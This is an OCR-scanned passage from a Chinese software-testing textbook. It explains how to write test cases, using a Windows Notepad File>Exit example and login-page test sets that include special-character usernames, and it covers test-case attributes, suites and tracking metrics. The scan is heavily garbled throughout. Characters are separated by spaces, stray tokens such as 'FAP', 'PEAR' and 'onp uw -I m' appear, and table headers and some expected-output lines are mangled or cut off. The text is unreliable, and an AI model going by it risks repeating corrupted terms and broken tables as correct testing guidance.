般 来 说 ,在 整个 测试 模块 里 面 应 该 包含 整个 的 测试 环境 的 特殊 需求 ,而 单个 测试 用 


例 的 测试 环境 需要 表征 该 测试 用 例 单独 所 需要 的 特殊 环境 需求 。 

。 输 入 标准 (Input Criteria): 用 来 执行 测试 用 例 的 输入 需求 。 这 些 输 入 可 能 包括 数 
据 、 文 件 或 者 操作 (例如 鼠标 的 单 击 、 击 键 等 )。 

。 输 出 标准 (Output Criteria) : 标识 按照 指定 的 环境 、 条 件 和 输入 而 得 到 的 期 望 输出 
结果 。 如 果 可 能 的 话 , 尽 量 提供 适当 的 系统 规格 说 明 来 证 明 期 望 的 结果 。 

。 测试 用 例 间 的 关联 : 用 来 标识 该 测试 用 例 与 其 他 的 测试 用 例 之 间 的 依赖 关系 。 在 
测试 的 实际 过 程 中 ,很 多 的 测试 用 例 并 不 是 单独 存在 的 ,它们 之 间 可 能 有 某 种 依赖 
关系 ,例如 用 例 A 需要 基于 B 的 测试 结果 正确 的 前 提 上 才 被 执行 ,此 时 测试 人 员 需 
要 在 A 的 测试 用 例 中 表明 对 B 的 依赖 性 ,从 而 保证 测试 用 例 的 严谨 性 。 

综 上 所 述 ,可 以 使 用 一 个 数据 库 的 表 来 描述 测试 用 例 的 主要 元 素 ,如 表 14-1 所 示 。 


表 14-1 测试 用 例 元 素 表示 


字段 名 称 x 型 是 否 必 选 OF 
标识 符 整 型 是 唯一 标识 该 测试 用 例 的 值 
测试 项 字符 型 是 测试 的 对 象 
测试 环境 要 求 字符 型 否 可 能 在 整个 模块 里 面 使 用 相同 的 测试 环境 需求 
输入 标准 字符 型 是 
输出 标准 字符 型 是 
否 并 非 所 有 的 测试 用 例 之 间 都 需要 关联 


测试 用 例 间 的 关联 字符 型 


如 果 用 数据 词典 的 方法 来 表示 的 话 ,测试 用 例 可 以 简单 地 表示 成 : 测试 用 例 == {输入 数 
据 十 操作 步骤 十 期 望 结果 } ,其 中 人 表示 重复 。 这 个 式 子 还 表明 ,每 一 个 完整 的 测试 用 例 不 
仅 包 含有 被 测 程序 的 输入 数据 ,而 且 还 包括 执行 的 步骤 、 预 期 的 输出 结果 。 

接 下 来 ,这 里 用 一 个 具体 的 例子 来 描述 测试 用 例 的 组 成 结构 。 例 如 对 Windows 记事 本 
程序 进行 测试 ,选取 其 中 的 一 个 测试 项 一 一 文件 (File) 菜 单 栏 的 测试 。 

测试 对 象 : 记事 本 程序 文件 菜单 栏 (测试 用 例 标识 1000, 下 同 ) ,所 包含 的 子 测试 用 例 描 
述 如 下 : 
OR 文件 /新 建 (1001) 
-------- 文件 /打开 (1002) 
A 文件 /保存 (1003) 
Es 文件 /另存 (1004) 
有 文件 /页 面 设置 (1005) 
二 文件 /打印 (1006) 
-------- 文件 /退出 (1007) 
es 菜单 布局 (1008) 
E. 快捷 键 (1009) 

选取 其 中 的 一 个 子 测试 用 例 “ 文 件 /退出 (1007)” 作 为 详细 例子 一 一 完整 的 测试 用 例 描 
述 , 如 表 14-2 所 示 。 通 过 这 个 例子 ,可 以 了 解 测试 用 例 具体 的 描述 方法 和 格式 。 通 过 实践 ， 
获得 必要 的 技巧 和 经 验 ,能 更 好 地 描述 出 完整 的 .良好 的 测试 用 例 。 


表 14-2 一 个 具体 的 测试 用 例 


字段 名 称 描 述 
标识 符 1007 
测试 项 记事 本 程序 ,文件 菜单 栏 一 一 文件 /退出 菜单 的 功能 测试 
测试 环境 要 求 Windows 2K Professional, 中 文 版 
1. 打开 Windows 记事 本 程序 ,不 输入 任何 字符 ,鼠标 单 击 选择 菜单 “文件 ”| 
“退出 ”。 
2. 打开 Windows 记事 本 程序 ,输入 一 些 字 符 ,不 保存 文件 ,鼠标 单 击 选择 菜单 
“文件 ”1* 退 出 ”。 
输入 标准 3. o 记事 本 程序 ,输入 一 些 字符 ,保存 文件 ,鼠标 单 击 选择 菜单 “ 文 
4. 打开 一 个 Windows 记事 本 文件 (扩展 名 为 . txt) ,不 做 任何 修改 ,鼠标 单 击 选择 
菜单 “文件 "|* 退 出 ”。 
5. 打开 一 个 Windows 记事 本 文件 ,做 修改 后 不 保存 ,鼠标 单 击 选择 菜单 文件 ”| 
“退出 ”。 
1. 记事 本 未 做 修改 ,鼠标 单 击 菜单 “文件 "|* 退 出 ”, 能 正确 地 退出 应 用 程序 ,无 提 
示 信 息 。 
输出 标准 2. 记事 本 做 修改 未 保存 或 者 另存 ,鼠标 单 击 菜单 “文件 ”1“ 退 出 ”, 会 提示 “未 定 标 
eae 题 文件 的 文字 已 经 改变 , 想 保存 文件 吗 ?” 单 击 “是 ”, Windows 将 打开 保存 / 另 
存 窗口 ; 单 击 “ 否 ”, 文 件 将 不 被 保存 并 退出 记事 本 程序 ; 单 击 * 取 消 ” 将 返回 
记事 本 窗口 。 
测试 用 例 间 的 关联 | 1009( 快 捷 键 测试 ) 


14.1.3 测试 用 例 设计 的 考虑 因素 


一 般 来 说 ,是 不 可 能 实现 穷 举 测试 的 ,因此 试图 用 所 有 的 测试 用 例 来 覆盖 所 有 测试 可 能 
遇 到 的 情形 是 不 可 能 的 ,所 以 ,在 测试 用 例 的 编写 .组 织 过程 中 ,尽量 考虑 有 代表 性 的 典型 的 
测试 用 例 ,来 实现 以 点 带 面 的 穷 举 测试 ,这 要 求 在 测试 用 例 设 计 中 考虑 一 些 基本 因素 : 

(1) 测试 用 例 必须 具有 代表 性 、 典 型 性 。 一 个 测试 用 例 能 基本 涵盖 一 组 特定 的 情形 , 目 
标明 确 , 这 可 能 要 借助 测试 用 例 设计 的 有 效 方法 和 对 用 户 使 用 产品 的 准确 把 握 。 

(2) 测试 用 例 设 计时 ,是 寻求 系统 设计 、 功 能 设计 的 弱点 。 测 试用 例 需 要 确切 地 反映 功 
能 设计 中 可 能 存在 的 各 种 问题 ,而 不 要 简单 复制 产品 规格 设计 说 明 书 的 内 容 。 同 时 ,测试 用 
例 还 需要 按照 功能 规格 说 明 书 的 要 求 进行 设计 ,将 所 有 可 能 的 情况 结合 起 来 考虑 。 示 例 一 
是 针对 一 个 常见 的 Web 登录 页 面 来 设计 测试 用 例 ,通过 这 个 例子 来 阐述 从 功能 规格 说 明 书 
到 具体 的 测试 用 例 编写 的 整个 过 程 。 

(3) 测试 用 例 需 要 考虑 到 正确 的 输入 ,也 需要 考虑 错误 的 或 者 异常 的 输入 ,以 及 需要 分 
析 怎 样 使 得 这 样 的 错误 或 者 异常 能 够 发 生 。 例 如 ,电子 邮件 地 址 校 验 的 时 候 , 不 仅 需要 考虑 
到 正确 的 电子 邮件 地 址 (如 pass@ web. com) 的 输入 ,同时 需要 考虑 错误 的 、 不 合法 的 (如 没 
有 @ 符 号 的 输入 ) ,或 者 带 有 异常 字符 ( 单 引号 、 斜 杠 、 双 引号 等 ) 的 电子 邮件 地 址 输入 ,尤其 
是 在 做 Web 页 面 测 试 的 时 候 ,通常 会 出 现 一 些 字符 转 义 问题 而 造成 异常 情况 的 发 生 , 见 示 
例 二 。 

CA) 用 户 测试 用 例 设计 ,要 多 考虑 用 户 实际 使 用 场景 。 用 户 测试 用 例 是 基于 用 户 实际 


的 可 能 场景 ,从 用 户 的 角度 来 模拟 程序 的 输入 ,从 而 针对 程序 来 进行 的 测试 用 例 。 用 户 测 试 
用 例 不 仅 需 要 考虑 用 户 实 际 的 环境 因素 ,例如 在 Web 程序 中 需要 对 用 户 的 连接 速度 .负载 
进行 模拟 ,还 需要 考虑 各 种 网 络 连接 方式 的 速度 。 在 本 地 化 软件 测试 时 ,需要 尊重 用 户 的 所 
在 国家 、 区 域 的 风俗 ,语言 以 及 习惯 用 法 。 关 于 本 地 化 语言 的 测试 , 详 见 本 书 第 10 章 的 
描述 。 


T 例 一 

一 、 用 户 登 录 的 功能 设计 规格 说 明 书 ( 摘 选 ) 

1. 用 户 登 录 

1.1 满足 基本 页 面 布局 图 示 ( 登 录 页 面 图 ,此 处 略 去 ) 。 

12 当 用 户 没有 输入 用 户 名 和 密码 时 ,不 立即 弹出 错误 对 话 框 ,而 是 在 页 面 上 使 用 
红色 字体 来 提示 , 见 2 描述 。 

13 用 户 密码 使 用 掩 码 符号 (x ) 来 标识 。 

1.4 x 代表 必 选 字段 ,将 出 现在 输入 文本 框 的 后 面 。 

2. 登录 出 现 错误 

当 出 现 错误 时 ,在 页 面 的 顶部 会 出 现 相 应 的 错误 提示 。 错 误 提 示 的 内 容 见 3。 错 误 
提示 用 高 亮 的 红色 字体 实现 。 

3. 错误 信息 描述 

3.1 用 户 名 输入 为 空 


J 性 值 
编号 MSG0001 
显示 的 页 面 ErrorPage0001 
出 现 条 件 当 用 户 输入 的 用 户 名 为 空 而 试图 登录 
提示 信息 错误 : 请 输入 用 户 名 


3.2 密码 为 空 


属 性 值 
编号 MSG0002 
显示 的 页 面 ErrorPage0002 
出 现 条 件 当 用 户 密码 输入 为 空 且 没有 出 现 WMSG0001 的 提示 信息 
提示 信息 错误 : 请 输入 密码 


3.3 用 户 名 /密码 不 匹配 


属 性 值 
编号 MSG0003 
显示 的 页 面 ErrorPage0003 
出 现 条 件 当 用 户 名 和 密码 不 匹配 时 


提示 信息 错误 : 您 输入 的 用 户 名 或 者 密码 不 正确 


二 、 通 用 安全 性 设计 规格 说 明 书 ( 摘 选 ) 

1. 安全 性 描述 

1.1 输入 安全 性 : 在 用 户 登 录 或 者 信用 卡 验证 过 程 中 ,如 果 三 次 输入 不 正确 ,页 面 
将 需要 重新 打开 才能 生效 。 

1.2 密码 : 在 所 有 的 用 户 密码 中 ,都 必须 使 用 掩 码 符号 ( x ) ,数据 在 数据 库 中 存储 
使 用 统一 的 加 密 和 解密 算法 。 

1.3 Cookie: 在 信用 卡 信息 验证 ,用 户 名 输入 时 ,Cookie 都 是 被 禁止 的 , 当 用 户 第 
一 次 输入 后 ,浏览 器 将 不 再 提供 是 否 保存 提示 信息 ,自动 完成 功能 将 被 禁用 。 

1.4 SSL 校 验 : 所 有 的 站 点 访问 时 ,必须 经 过 SSL RE, 

2. 错误 描述 : ( 略 ) 

三 、 测 试用 例 

结合 相关 规格 说 明 书 的 要 求 , 理 解 和 掌握 测试 用 例 设计 的 关键 点 ,测试 用 例 设计 如 
表 14-3 所 示 。 这 里 实际 把 多 个 测试 用 例 放 在 一 起 ,构成 单个 功能 测试 的 用 例 集合 。 


表 14-3 用 户 登 录 功 能 测试 用 例 (集合 ) 


字段 名 称 描 GK 
标识 1100 
测试 项 站 点 用 户 登 录 功 能 测试 


. FAP test/pass 为 有 效 登录 用 户 , 用 户 test] 为 无 效 登 录用 户 。 


PEAR .浏览 器 的 Cookie 未 被 禁用 。 


. 输入 正确 的 用 户 名 和 密码 , 单 击 登录 按钮 。 

. 输入 错误 的 用 户 名 和 密码 , 单 击 登录 按钮 。 

. 不 输入 用 户 名 和 密码 , 单 击 登 录 按钮 。 

. 输入 正确 的 用 户 名 并 不 输入 密码 , 单 击 登录 按钮 。 

. 三 次 输入 无 效 的 用 户 名 和 密码 尝试 登录 。 

. 第 一 次 登录 成 功 后 ,重新 打开 浏览 器 登录 ,输入 上 次 成 功 登录 的 用 户 名 的 
第 一 个 字符 。 


输入 标准 


onp uw -I m 


1. 数据 库 中 存在 的 用 户 将 能 正确 登录 。 

2. 错误 的 或 者 无 效 的 用 户 登录 失败 ,并 在 页 面 的 项 部 出 现 红色 字体 :“ 错 误 : 
用 户 名 或 密码 输入 错误 。” 

. 用 户 名 为 空 时 ,页 面 顶部 出 现 红 色 字体 提示 :“ 请 输入 用 户 名 ”。 

.密码 为 空 且 用 户 名 不 为 空 时 ,页 面 项 部 出 现 红色 字体 提示 :“ 请 输入 密 
码 ”。 

5. 三 次 无 效 登录 后 ,第 四 次 尝试 登录 会 出 现 提示 信息 “您 已 经 三 次 尝试 登录 
失败 ,请 重新 打开 浏览 器 进行 登录 ”, 此 后 的 登录 过 程 将 被 禁止 。 

. 自动 完成 功能 将 被 禁用 ,查看 浏览 器 的 Cookie 信息 ,将 不 会 出 现 上 次 登录 
的 用 户 和 密码 信息 ,第 一 次 使 用 一 个 新 账户 登录 时 ,浏览 器 将 不 会 提示 
“是 否 记 住 密码 以 便 下 次 使 用 ”对 话 框 。 

7. 所 有 的 密码 均 以 * 方 式 输入 。 


e w 


输出 标准 


a 
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示 例 二 
在 上 面 提 到 的 用 户 登 录 页 面 的 示例 一 中 ,需要 考虑 特殊 字符 的 输入 ,尤其 是 脚本 语 
言 敏感 的 字符 输入 。 将 上 面 的 测试 用 例 集合 进行 完善 如 下 (用 粗 体 标 出 ), 如 表 14-4 
所 示 。 
表 14-4 ”用户 登录 功能 测试 用 例 的 完善 
字段 名 称 描 述 
标识 和 1100 
测试 项 站 点 用 户 登录 功能 测试 
1. FAP pass/pass 为 有 效 登录 用 户 , 用 户 passl/pass 为 无 效 登录 用 户 , 用 户 
测试 环境 要 求 pass'jean/ password 为 有 效 登 录用 户 。 
2. 浏览 器 的 Cookie 未 被 禁用 。 
1. 输入 正确 的 用 户 名 和 密码 , 单 击 登 录 按 钮 。 
2. 输入 错误 的 用 户 名 和 密码 , 单 击 登录 按钮 。 
3. 不 输入 用 户 名 和 密码 , 单 击 登录 按钮 。 
4. 输入 正确 的 用 户 名 并 不 输入 密码 , 单 击 登录 按钮 。 
输入 标准 5. 输入 带 特 殊 字符 的 用 户 名 ( 带 /,'," 和 并 ,如 pass'jean) 和 密码 , 单 击 登录 
按钮 。 
6. 三 次 输入 无 效 的 用 户 名 和 密码 尝试 登录 。 
7. 第 一 次 登录 成 功 后 ,重新 打开 浏览 器 登录 ,输入 上 次 成 功 登录 的 用 户 名 的 
第 一 个 字符 。 
1. 数据 库 中 存在 的 用 户 (pass/pass,pass'jean/password) 将 能 正确 登录 。 
2. 错误 的 或 者 无 效 的 用 户 登录 失败 ,并 在 页 面 的 顶部 出 现 红色 字体 :“ 错 误 : 
用 户 名 或 密码 输入 错误 。” 
3. 用 户 名 为 空 时 ,页 面 项 部 出 现 红色 字体 提示 :“ 请 输入 用 户 名 ”。 
4. 密码 为 空 且 用 户 名 不 为 空 时 ,页 面 项 部 出 现 红 色 字 体 提示 :“ 请 输入 密 
码 ”。 
5. 含 特殊 字符 (',/,",#) 的 用 户 名 ,如 数据 库 中 有 该 记录 ,将 能 正确 登录 ,如 
输出 标准 无 该 用 户 记 录 , 将 不 能 登录 , 校 验 过 程 和 普通 的 字符 相同 ,不 能 出 现 空白 
页 面 或 者 脚本 错误 。 
6. 三 次 无 效 登录 后 ,第 四 次 尝试 登录 会 出 现 提示 信息 “您 已 经 三 次 尝试 登录 
失败 ,请 重新 打开 浏览 器 进行 登录 ”, 此 后 的 登录 过 程 将 被 禁止 。 
7. 自动 完成 功能 将 被 禁用 ,查看 浏览 器 的 Cookie 信息 ,将 不 会 出 现 上 次 登录 
的 用 户 和 密码 信息 ,第 一 次 使 用 一 个 新 账户 登录 时 ,浏览 器 将 不 会 提示 
“是 否 记 住 密码 以 便 下 次 使 用 ”对 话 框 。 
8. 所 有 的 密码 均 以 "x* "方式 输入 。 
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14.1.4 测试 用 例 设 计 的 基本 原则 


在 测试 用 例 设 计时 ,除了 需要 遵守 基本 的 测试 用 例 编 写 规 范 外 ,还 需要 遵循 一 些 基 本 的 
原则 。 


1. 避免 含糊 的 测试 用 例 

含糊 的 测试 用 例 给 测试 过 程 带 来 困难 ,甚至 会 影响 测试 的 结果 。 在 测试 过 程 中 ,测试 用 
例 的 状态 是 唯一 的 ,一 般 是 下 列 三 种 状态 中 一 种 : 

。 通过 (Pass) 

。 未 通过 (Failed) 

。 未 进行 测试 (Not Done) 

如 果 测 试 未 通过 ,一 般 会 有 对 应 的 缺陷 报告 与 之 关联 ; 如 未 进行 测试 , 则 需要 说 明 原因 
(测试 用 例 条 件 不 具备 .缺乏 测试 环境 ,或 测试 用 例 目前 已 不 适用 等 )。 因 此 ,清晰 的 测试 用 
例 将 会 使 得 测试 人 员 在 进行 测试 过 程 中 不 会 出 现 模棱两可 的 情况 ,对 一 个 具体 的 测试 用 例 
不 会 有 “部 分 通过 ,部 分 未 通过 ”这 样 的 结果 。 如 果 按 照 某 个 测试 用 例 的 描述 进行 操作 ,不 能 
找到 软件 中 的 缺陷 ,但 软件 实际 存在 和 这 个 测试 用 例 相 关 的 错误 ,这 样 的 测试 用 例 是 不 合格 
的 ,将 给 测试 人 员 的 判断 带 来 困难 ,同时 也 不 利于 测试 过 程 的 跟踪 。 

举例 : 还 用 示例 一 来 说 明 , 对 用 户 登 录 的 页 面 校 验 测试 设计 ,如 测试 用 例 描述 为 : 

。 输入 正确 的 用 户 和 密码 ,所 有 程序 工作 正常 。 

。 输入 错误 的 用 户 和 密码 ,程序 工作 不 正常 ,并 弹出 对 话 框 。 

像 上 面 这 样 的 测试 用 例 ,未 能 清楚 地 描述 什么 样 是 程序 正常 工作 状态 以 及 程序 不 正常 
工作 状态 ,这样 含糊 不 清 的 测试 用 例 必 然 会 导致 测试 过 程 中 问题 的 遗漏 。 

2. 尽量 将 具有 相 类 似 功 能 的 测试 用 例 抽 象 并 归 类 

文中 一 直 强调 软件 测试 过 程 是 无 法 穷 举 测试 的 ,因此 ,对 相 类 似 的 测试 用 例 的 抽象 过 程 
显得 尤为 重要 ,一 个 好 测试 用 例 应 该 是 能 代表 一 组 同类 的 数据 ,或 相似 的 数据 处 理 逻 辑 

3. 尽量 避免 元 长 和 复杂 的 测试 用 例 

这 样 做 的 主要 目的 是 保证 验证 结果 的 唯一 性 。 这 也 是 和 第 一 条 原则 相 一 致 的 ,为 的 是 
在 测试 执行 过 程 中 ,确保 测试 用 例 的 输出 状态 唯一 性 ,从 而 便于 跟踪 和 管理 。 在 一 些 很 长 和 
复杂 的 测试 用 例 设计 过 程 中 ,需要 将 测试 用 例 进 行 合理 的 分 解 ,从 而 保证 测试 用 例 的 准确 
性 。 在 某 些 时 候 , 当 测试 用 例 包含 很 多 不 同类 型 的 输入 或 者 输出 ,或 者 测试 过 程 的 逻辑 复杂 
而 不 连续 ,此 时 需要 对 测试 用 例 进 行 分 解 。 


14.2 ”测试 用 例 的 组 织 和 跟踪 


测试 用 例 最 终 是 为 实现 有 效 的 测试 服务 的 ,那么 怎样 将 这 些 测试 用 例 完整 地 结合 到 测 
试 过 程 中 加 以 使 用 呢 ? 这 就 涉及 测试 用 例 的 组 织 .跟踪 和 维护 问题 。 
14.2.1 测试 用 例 的 属性 

在 整个 测试 设计 和 执行 过 程 中 ,可 能 涉及 很 多 的 、 不 同类 型 的 测试 用 例 ,这 要 求 测试 人 
员 能 有 效 地 对 这 些 测 试用 例 进行 组 织 。 为 了 组 织 好 测试 用 例 , 必 须 了 解 测试 用 例 所 具有 的 
属性 。 不 同 的 阶段 ,测试 用 例 的 属性 也 不 同 ,如 图 14-1 所 示 。 基 于 这 些 属性 ,可 以 采用 数据 
库 方式 更 有 效 地 管理 测试 用 例 。 


输出 标准 
关联 的 测试 用 例 
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关联 的 软件 错误 
或 注释 


执行 过 程 


图 14-1 各 个 阶段 所 表现 的 测试 用 例 属性 


(1) 测试 用 例 的 编写 过 程 : 标识 符 、 测 试 环境 .输入 标准 、 输 出 标准 .关联 测试 用 例 
标识 。 

(2) 测试 用 例 的 组 织 过 程 : 所 属 的 测试 模块 /测试 组 件 / 测 试 计划 ,优先 级 、 类 型 等 。 

(3) 测试 用 例 的 执行 过 程 : 所 属 的 测试 过 程 /测试 任务 /测试 执行 ,测试 环境 和 平台 、 测 
试 结果 ,关联 的 软件 错误 或 注释 。 

其 中 标识 符 ,测试 环境 、 输 入 标准 ,输出 标准 等 构成 了 测试 用 例 的 基本 要 素 , 在 1.4.1 节 
已 做 介绍 ,而 其 他 的 具体 属性 ,下 面 给 予 详 细 的 说 明 。 

A) 优先 级 (Priority) ,优先 级 越 高 ,被 执行 的 时 间 越 早 ,执行 的 频率 越 高 。 由 最 高 优先 
级 的 测试 用 例 构成 基本 验证 测试 ( Basic Verification Test,BVT), 每 次 构建 软件 包 时 ,都 要 
被 执行 一 裔 。 

(2) 目标 性 ,包括 功能 性 \ 性 能 、 容 错 性 、 数 据 迁 移 等 各 方面 的 测试 用 例 。 

G) 所 属 的 范围 ,属于 哪 一 个 组 件 或 模块 ,这 种 属性 可 以 和 需求 ,设计 等 联系 起 来 ,有 利 
于 整个 软件 开发 生命 周期 的 管理 。 

(4) 关联 性 ,测试 用 例 一 般 和 软件 产品 特性 相 联系 ,通过 这 种 关联 性 可 以 了 解 每 个 功能 
点 是 否 有 测试 用 例 覆 盖 、 有 多 少 个 测试 用 例 覆 盖 , 从 而 确定 测试 用 例 的 覆盖 率 。 

(5) 阶段 性 ,属于 单元 测试 、 集 成 测试 、 系 统 测试 、 验 收 测试 中 的 某 一 个 阶段 ,这 样 可 以 
针对 阶段 性 测试 任务 快速 构造 测试 用 例 集合 ,用 于 执行 。 

(6) 状态 ,当前 是 否 有 效 。 如 果 无 效 ,被 置 于 Inactive 状态 ,不 会 被 运行 ,只 有 激活 
(Active) 状 态 的 测试 用 例 才 被 运行 。 

(7) 时 效 性 ,同样 功能 不 同 的 版 本 所 适用 的 测试 用 例 可 能 不 相同 ,因为 产品 功能 在 一 些 


新 版 本 上 可 能 会 发 生变 化 。 
(8) 所 有 者 、 日 期 等 特性 ,描述 测试 用 例 是 由 谁 、 在 什么 时 间 创 建 和 维护 的 。 


14.2.2 测试 套件 及 其 构成 方法 


如 何 进行 测试 用 例 的 组 织 ? 组 织 测 试用 例 的 方法 ,一 般 采用 自 顶 向 下 的 方法 。 首 先 在 
测试 计划 中 确定 测试 策略 和 测试 用 例 设计 的 基本 方法 ,有 时 会 根据 功能 规格 说 明 书 来 编制 
测试 规格 说 明 书 ,如 图 14-2 所 示 ,而 多 数 情 况 下 会 直接 根据 功能 规格 说 明 书 来 编写 具体 的 
测试 用 例 。 


测试 计划 
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测试 设计 功能 
说 明 
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测试 过 程 规格 
说 明 


图 14-2 测试 用 例 组 织 


在 测试 用 例 组 织 和 执行 过 程 中 ,还 需要 引入 一 个 新 概念 一 一 测试 套件 (test suite)。 测 
试 套件 是 根据 特定 的 测试 目标 和 任务 而 构造 的 某 个 测试 用 例 的 集合 。 这 样 ,为 完成 相应 的 
测试 任务 或 达到 某 个 测试 目标 ,只 要 执行 所 构造 的 测试 套件 ,使 执行 任务 更 明确 、 更 简单 ,有 
利于 测试 项 目的 管理 。 测 试 套件 可 以 根据 测试 目标 ,测试 用 例 的 特性 和 属性 (优先 级 、 层 次 、 
模块 等 ) ,来 选择 不 同 的 测试 用 例 , 构 成 满足 特定 的 测试 任务 要 求 的 测试 套件 ,如 基本 功能 测 
试 套件 .负面 测试 套件 .Mac 平 台 兼 容 性 测试 套件 等 。 

那么 如 何 构造 有 效 的 测试 套件 呢 ? 通常 情况 下 ,使 用 以 下 的 几 种 方法 来 组 织 测试 用 例 。 

(1) 按照 程序 的 功能 模块 组 织 。 软 件 产品 是 由 不 同 的 功能 模块 构造 而 成 的 ,因此 ,按照 
程序 的 功能 模块 进行 测试 用 例 的 组 织 是 一 种 很 好 的 方法 。 将 属于 不 同 模块 的 测试 用 例 组 织 
在 一 起 ,能 够 很 好 地 检查 测试 所 履 盖 的 内 容 , 实 现 准确 的 执行 测试 计划 。 

(2) 按照 测试 用 例 的 类 型 组 织 。 将 不 同类 型 的 测试 用 例 按照 类 型 进行 分 类 组 织 测试 ， 
也 是 一 种 常见 的 方法 。 一 个 测试 过 程 中 ,可 以 将 功能 /逻辑 测试 .压力 /负载 测试 .异常 测试 、 
兼容 性 测试 等 具有 相同 类 型 的 用 例 组 织 起 来 ,形成 每 个 阶段 或 每 个 测试 目标 所 需 的 测试 用 
例 组 或 集合 。 

(3) 按照 测试 用 例 的 优先 级 组 织 。 和 软件 错误 相 类 似 , 测 试用 例 拥有 不 同 优先 级 ,测试 
人 员 可 以 按照 测试 过 程 的 实际 需要 ,定义 测试 用 例 的 优先 级 ,从 而 使 得 测试 过 程 有 层次 、 有 


主 次 地 进行 。 

以 上 各 种 方式 中 ,根据 程序 的 功能 模块 进行 组 织 是 最 常用 的 方法 ,同时 可 以 将 三 种 方式 
混合 起 来 ,灵活 运用 ,例如 可 以 先 按照 不 同 的 程序 功能 块 将 测试 用 例 分 成 若干 个 模块 ,再 在 
不 同 的 模块 中 划分 出 不 同类 型 的 测试 用 例 , 按 照 优先 级 顺序 进行 排列 ,这 样 ,就 能 形成 一 个 
完整 而 清晰 的 组 织 框架 。 

如 图 14-3 所 示 ,体现 了 测试 用 例 组 织 和 测试 过 程 的 关系 ,这 是 基于 前 面 的 测试 用 例 特 
性 分 析 , 以 及 如 何 有 效 地 完成 测试 获得 的 。 这 个 过 程 ,可 以 简单 描述 如 下 : 


试 模块 测试 过 程 测试 过 程 一 


图 14-3 测试 用 例 的 组 织 和 测试 过 程 的 关系 


(1) 测试 模块 由 该 模块 的 各 种 测试 用 例 组 织 起 来 ; 

(2) 多 个 测试 模块 组 成 测试 套件 (测试 单元 ) ; 

(3) 测试 套件 加 上 所 需要 的 测试 环境 和 测试 平台 需求 组 成 测试 计划 ; 
(4) 测试 计划 确定 后 ,就 可 以 确定 相应 的 测试 任务 ; 

(5) 将 测试 任务 分 配给 测试 人 员 ; 

(6) 测试 人 员 执 行 测试 任务 ,完成 测试 过 程 ,并 报告 测试 结果 。 


14.2.3 跟踪 测试 用 例 


在 测试 执行 开始 之 前 ,测试 组 长 或 测试 经 理应 该 能 够 回答 下 面 一 些 问题 : 
。 整个 测试 计划 包括 哪些 测试 组 件 ? 

。 测试 过 程 中 有 多 少 测试 用 例 要 执行 ? 

。 在 执行 测试 过 程 中 ,使 用 什么 方法 来 记录 测试 用 例 的 状态 ? 

。 如 何 挑选 出 有 效 的 测试 用 例 来 对 某 些 模块 进行 重点 测试 ? 


。 上 次 执行 的 测试 用 例 的 通过 率 是 多 少 ? 哪些 是 未 通过 的 测试 用 例 ? 

根据 这 些 问 题 ,对 测试 执行 做 到 事先 心中 有 数 , 有 利于 跟踪 测试 用 例 执 行 的 过 程 ,控制 
好 测试 的 进度 和 质量 。 

前 面 提 到 ,测试 过 程 中 测试 用 例 有 3 种 状态 : 通过 (Pass) 、 未 通过 (Fail) 和 未 测试 (Not 
Done) 。 根 据 测试 执行 过 程 中 测试 用 例 的 状态 ,针对 测试 用 例 的 执行 和 输出 而 进行 跟踪 ,从 
而 达到 测试 过 程 的 可 管理 性 以 及 完成 测试 有 效 性 的 评估 。 跟 踪 测 试用 例 ,包括 两 个 方面 的 
内 容 : 

(1) 测试 用 例 执 行 的 跟踪 : 良好 的 测试 用 例 自身 具有 易 组 织 性 、 可 评估 性 和 管理 性 , 实 
现 测试 用 例 执行 过 程 的 跟踪 可 以 有 效 地 将 测试 过 程 量化 。 例 如 ,在 一 轮 测试 执行 中 ,测试 人 
员 需 要 知道 总 共 执 行 了 多 少 个 测试 用 例 ? 每 个 测试 人 员 平 均 每 天 能 执行 多 少 个 测试 用 例 ? 
测试 用 例 中 “通过 ,未 通过 以 及 未 测试 的 ”各 占 多 少 ? 测试 用 例 不 能 被 执行 的 原因 是 什么 ? 
当然 ,这 是 个 相对 的 过 程 ,测试 人 员工 作 量 的 跟踪 不 应 该 仅仅 凭借 测试 用 例 的 执行 情况 和 发 
现 的 程序 缺陷 多 少 来 判定 ,但 至 少 ,可 以 通过 测试 执行 情况 的 跟踪 大 致 判定 当前 的 项 目 进度 
和 测试 的 质量 ,并 能 对 测试 计划 的 执行 做 出 准确 的 推断 ,以 决定 是 否 要 调整 。 

(2) 测试 用 例 覆 盖 率 的 跟踪 : 测试 用 例 的 覆盖 率 指 的 是 根据 测试 用 例 进行 测试 的 执行 
结果 与 实际 的 软件 存在 的 问题 的 比较 ,从 而 实现 对 测试 有 效 性 的 评估 。 

如 图 14-4 所 示 ,在 一 个 测试 执行 中 ,92% 的 测试 用 例 通过 ,5% 的 测试 用 例 未 通过 ,3% 
的 测试 用 例 未 使 用 。 在 发 现 的 软件 缺陷 和 错误 中 ,有 92% 是 通过 测试 用 例 检 测 出 来 的 ,而 
有 10% 是 未 通过 测试 用 例 检验 出 来 的 ,此 时 ,测试 人 员 需 要 对 这 些 软 件 错 误 进行 分 类 和 数 
据 分 析 ,完善 测试 用 例 , 从 而 提高 测试 结果 的 准确 性 ,使 问题 遗漏 的 可 能 性 最 小 化 。 
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(a) 测试 用 例 跟踪 图 (b) 发 现 的 软件 错误 跟踪 图 
图 14-4 测试 用 例 覆 盖 率 的 跟踪 


图 14-5 是 针对 每 个 测试 模块 的 测试 用 例 的 跟踪 示意 图 ,通过 对 比 , 不 难 发 现 , 模 块 二 和 
模块 三 的 未 通过 率 和 未 使 用 率 都 比较 高 ,此 时 测试 组 长 需要 对 这 两 个 模块 的 测试 用 例 以 及 
测试 过 程 进行 分 析 , 是 这 个 模块 的 测试 用 例 设计 不 合理 ,还 是 模块 本 身 存 在 太 多 的 软件 缺 
陷 ? 根据 实际 的 数据 分 析 , 可 以 对 这 两 个 模块 重新 进行 单独 测试 ,通过 纵向 的 数据 比较 ,来 
实现 软件 质量 的 管理 和 改进 。 

凭借 个 人 的 记忆 来 跟踪 测试 用 例 ,几乎 是 不 可 能 的 ,所 以 一 般 会 采用 下 列 方法 来 跟踪 测 
试用 例 。 

(1) 书面 文档 : 在 比较 小 规模 的 测试 项 目 中 ,使 用 书面 文档 记录 和 跟踪 测试 用 例 是 可 
行 的 一 种 方法 ,测试 用 例 清单 的 列表 和 图 例 也 可 以 被 有 效 的 使 用 ,但 作为 组 织 和 搜索 数据 进 
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模块 一 模块 二 模块 三 模块 四 模块 五 
图 14-5 模块 测试 用 例 跟 踪 图 


行 分 析 时 ,就 会 遇 到 很 大 的 困难 。 

